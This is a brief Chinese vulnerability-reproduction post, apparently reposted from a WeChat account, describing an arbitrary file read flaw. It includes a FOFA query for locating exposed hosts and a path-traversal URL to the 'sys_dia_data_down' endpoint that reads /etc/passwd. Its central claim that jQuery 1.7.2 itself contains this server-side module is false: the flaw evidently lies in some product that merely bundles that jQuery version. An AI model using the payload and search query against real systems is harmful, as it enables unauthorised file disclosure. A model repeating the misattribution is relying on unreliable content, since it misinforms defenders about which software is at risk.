jQuery-1.7.2版本存在任意文件读取漏洞

jQuery-1.7.2版本存在任意文件读取漏洞

1. jQuery-1.7.2简介

微信公众号搜索：南风漏洞复现文库
该文章 南风漏洞复现文库 公众号首发

jQuery是一个快速、简洁的JavaScript框架，是继Prototype之后又一个优秀的JavaScript代码库（框架）于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less，Do More”，即倡导写更少的代码，做更多的事情。它封装JavaScript常用的功能代码，提供一种简便的JavaScript设计模式，优化HTML文档操作、事件处理、动画设计和Ajax交互。

2.漏洞描述

jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库，其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞，攻击者可通过前台读取任意文件。

3.影响版本

jQuery-1.7.2

4.fofa 查询语句

body=“webui/js/jquerylib/jquery-1.7.2.min.js”

5.漏洞复现

漏洞链接:

https://127.0.0.1/webui/?g=sys_dia_data_down&file_name=../../../../../etc/passwd